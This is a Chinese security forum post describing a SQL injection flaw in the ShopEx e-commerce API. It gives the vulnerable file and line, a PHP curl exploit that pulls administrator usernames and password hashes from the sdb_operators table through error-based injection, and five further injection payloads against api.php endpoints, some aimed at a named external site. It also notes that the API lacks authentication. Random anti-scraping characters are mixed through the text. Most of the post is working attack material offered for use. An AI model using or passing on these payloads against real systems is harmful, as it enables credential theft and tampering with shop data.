找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1974|回复: 0
打印 上一主题 下一主题

shopEx最新版的API注入漏洞分析附利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:34:27 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
& c5 s8 g% k9 @core\api\payment\1.0\api_b2b_2_0_payment_cfg.php# @6 B& B8 V$ n9 M3 H) n- ]
  K6 l3 M2 L3 J& |
第44行 $data['columns'] 未做过滤导致注入6 Y$ }0 Q; R4 w1 P( ^3 Y$ u
' O, D2 i2 _1 j0 c+ P
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.- F6 M0 P  H6 J$ ~
) T  S" O6 z  Z
注射1:
; p9 g" @4 g" C; ^9 P4 M( Z
5 d, {. b! v+ m& z* Q8 lhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#( f9 ^7 `) k- _$ _/ ~! }& g5 n

' e" E$ }) n$ W! t2 f! U  ~2 j# t# O注射2:# O6 ~" D2 N7 [. P, N2 r
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
5 E( V: |2 J3 G$ o8 M! D; Y1 f% N) I
注射3:9 Z# N, Q$ ~+ m; k( v
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
2 \1 n, h; L0 O" N5 F# ^+ b" f3 n0 d7 t注射4:0 I$ z) I8 w' U9 a
* \0 Q' a/ }/ W( `3 u  w
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
+ B: a% I' Z: w- e, Z$ V$ r( M# R' A8 e- a" D3 j' i8 T! i

! G. K" ~0 S, y& B1 \注射5:
  j1 w0 }: \& z) W5 b+ o9 }1 I" u  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
! o- w7 Z! k8 C% m0 p8 I8 `/ R( Y
; L- _) e8 o/ U, Y( k
! k4 w# p- D5 F* x& b+ e5 I6 K! {$ ]* G* |' R2 G6 F6 g2 c1 Q

$ A0 b5 D- l$ |' Z
/ }9 V4 Y, Y# K$ F6 Z" M7 [7 w& t1 V# {8 x3 j: f0 J2 B. w! I0 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表